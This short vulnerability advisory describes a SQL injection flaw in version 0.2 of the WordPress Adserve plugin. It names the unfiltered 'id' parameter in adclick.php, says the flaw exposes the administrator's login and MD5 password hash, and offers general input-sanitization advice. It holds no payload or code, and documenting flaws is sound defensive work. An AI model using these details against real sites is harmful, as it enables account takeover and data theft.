WordPress Adserve plugin v 0.2 Sql Injection Exploit

The WordPress Adserve plugin version 0.2 is vulnerable to a SQL injection attack. The id variable in the adclick.php file is not filtered, allowing an attacker to inject malicious SQL code into the query. If the exploit is successful, the WordPress administrator's login and MD5 hashed password can be retrieved.

Mitigation:

Ensure that all user-supplied input is properly sanitized and validated before being used in a SQL query.
